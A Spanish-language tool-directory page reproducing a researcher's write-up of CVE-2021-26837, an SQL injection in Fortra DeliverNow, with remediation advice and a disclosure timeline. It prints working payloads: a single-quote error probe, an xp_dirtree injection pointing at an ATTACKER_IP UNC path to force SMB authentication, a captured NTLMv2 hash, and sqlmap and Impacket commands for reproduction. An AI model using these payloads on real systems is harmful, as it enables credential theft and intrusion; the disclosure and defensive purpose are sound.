Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-26837 — CVE-2021-26837 - Inyección SQL en el parámetro SearchTextbox de HelpSystems/Fortra DeliverNow. Payloads, solicitudes anotadas y evidencia. Corregido en 1.2.18. | Kitploit
Herramientas/GitHubGitHub/l0lsec/cve-2021-26837
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosPruebas de Penetración
GitHubl0lsec/cve-2021-26837

CVE-2021-26837

CVE-2021-26837 - Inyección SQL en el parámetro SearchTextbox de HelpSystems/Fortra DeliverNow. Payloads, solicitudes anotadas y evidencia. Corregido en 1.2.18.

Ver Repositorio
hace 26 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

CVE-2021-26837

Inyección SQL en HelpSystems / Fortra DeliverNow

El parámetro SearchTextbox de la página de búsqueda de registros de DeliverNow (/LogGrid.aspx) se concatena directamente en una consulta de SQL Server sin parametrización ni validación en el servidor. La aplicación también mostraba al usuario los errores resultantes del analizador de SQL Server, que es como la vulnerabilidad se reveló en primer lugar.

La conexión a la base de datos se ejecutaba como sa, por lo que la inyección heredó todos los derechos de sysadmin sobre la instancia. Eso fue suficiente para llamar a master.dbo.xp_dirtree contra una ruta UNC controlada por el atacante y forzar a la cuenta de servicio de SQL Server a autenticarse hacia el exterior.

Encontrada durante una prueba de penetración interna. Corregida por el proveedor en DeliverNow 1.2.18 y publicada como CVE-2021-26837.

Descubierta y notificada por Sedric Louissaint de Show Up Show Out Security.


Resumen

CVECVE-2021-26837
ProductoDeliverNow (HelpSystems, ahora Fortra)
Afectadosanteriores a 1.2.18 (el aviso original listaba 1.2.18 y anteriores)
DebilidadCWE-89: Inyección SQL
CVSS 3.1 (NVD)9.8 Crítico CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS 2 (investigador)9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P
Publicado2023-09-19
Probado enWindows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64)

Descripción NVD:

Vulnerabilidad de inyección SQL en el parámetro SearchTextBox en Fortra (anteriormente HelpSystems) DeliverNow anterior a la versión 1.2.18, permite a los atacantes ejecutar código arbitrario, escalar privilegios y obtener información sensible.

Detalle técnico

Punto de inyección

POST /LogGrid.aspx, parámetro del cuerpo SearchTextbox. El formulario es el control de búsqueda en la vista Log de la aplicación. ddlFieldName selecciona la columna a buscar (Description en las peticiones siguientes) y SearchTextbox contiene el término.

Una comilla simple es suficiente para demostrarlo:

root@kitploit:~
blah'

La respuesta muestra el error del analizador de SQL Server directamente en la página:

root@kitploit:~
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

Búsqueda de registros que devuelve un error de comilla sin cerrar

Esa exposición de errores es un hallazgo en sí mismo. Convierte lo que de otro modo sería una inyección ciega en una totalmente interactiva.

Confirmación fuera de banda mediante xp_dirtree

Como la conexión se ejecuta como sa, master.dbo.xp_dirtree es accesible. Apuntarlo a una ruta UNC en un host que usted controle hace que la cuenta de servicio de SQL Server se autentique hacia el exterior en ese host a través de SMB:

root@kitploit:~
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

La carga útil en el cuadro de búsqueda

Petición completa en poc/exploited-request.http, cargas útiles en poc/payloads.sql.

La petición HTTP explotada

Autenticación capturada

Con smbserver.py de Impacket a la escucha, la cuenta de servicio de SQL Server del objetivo se autentica y filtra un hash NTLMv2:

root@kitploit:~
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

Autenticación forzada capturada con Impacket

El hash está entonces disponible para su descifrado offline o para un relay NTLM a otro host.

Contexto de privilegios

sqlmap confirma la inyección y el nivel de privilegios:

root@kitploit:~
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

Enumeración de sqlmap mostrando el usuario actual sa

sa significa que todos los hashes de inicio de sesión de la instancia son legibles, y xp_cmdshell está a una llamada sp_configure de la ejecución de comandos en el host.

Reproducción

Contra una instancia de laboratorio que usted posea o esté autorizado a probar:

  1. Navegue a la interfaz web de DeliverNow (por defecto http://<host>:1080/) y abra Log.
  2. Introduzca blah' en el cuadro de búsqueda y envíe. Una versión vulnerable muestra el error del analizador de SQL Server en la página.
  3. Inicie un listener en un host al que el objetivo pueda llegar:
    root@kitploit:~
    sudo smbserver.py c . -smb2support
    
  4. Envíe la carga útil xp_dirtree de poc/payloads.sql con su propia IP sustituida. Una versión vulnerable produce una autenticación SMB entrante de la cuenta de servicio de SQL Server.
  5. Opcionalmente, confirme con sqlmap usando la petición guardada:
    root@kitploit:~
    sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
    

Contenido del repositorio

root@kitploit:~
poc/
  payloads.sql            Detection and out-of-band payloads for SearchTextbox
  exploited-request.http  The full POST request, ready for sqlmap -r
  sqlmap.md               sqlmap invocations and expected output
media/
  01-sql-error-in-log-search.png
  02-xp-dirtree-payload-in-searchtextbox.png
  03-forced-auth-captured-impacket.png
  04-sqlmap-sa-enumeration.png
  05-exploited-http-request.png

Los hosts y hashes de las capturas provienen del compromiso original y llevan mucho tiempo muertos. Sustituya su propia dirección de listener al reproducir.

Remediación

  1. Use consultas parametrizadas / sentencias preparadas para cada consulta construida a partir de la entrada del usuario. Esta es la corrección real. Todo lo demás es profundidad.
  2. Valide y sane el lado del servidor. El cuerpo del POST está totalmente controlado por el atacante, independientemente de lo que permita el formulario del lado del cliente.
  3. Deje de conectarse como sa. La aplicación necesita acceso de lectura y escritura a sus propias tablas. No necesita sysadmin, ni necesita xp_dirtree. El principio de mínimo privilegio no habría evitado la inyección, pero la habría contenido.
  4. No muestre los errores de base de datos a los usuarios. Regístrelos en el lado del servidor y devuelva un mensaje genérico.
  5. Restrinja el SMB saliente de los servidores de bases de datos en el perímetro de la red, lo que elimina el canal fuera de banda utilizado aquí.

Corregido por el proveedor en DeliverNow 1.2.18. Actualice.

Cronología

FechaEvento
2021Encontrada durante una prueba de penetración interna y notificada a HelpSystems
2021Corregida en DeliverNow 1.2.18
2023-09-19CVE-2021-26837 publicado en NVD, con una puntuación de 9.8 Crítico

Artículos

  • Cuenta personal: https://sedriclouissaint.com/blog/delivernow-sql-injection-cve-2021-26837/
  • Show Up Show Out Security: https://susos.co/blog/sqlnow-sql-injection-in-delivernow-cve-2021-26837

Descargo de responsabilidad

Publicado después de la remediación del proveedor, con fines defensivos y educativos. Las cargas útiles aquí incluidas apuntan a una versión parcheada hace años. No las ejecute contra sistemas que no posea o para los que no tenga autorización por escrito para probar.

Descargar herramienta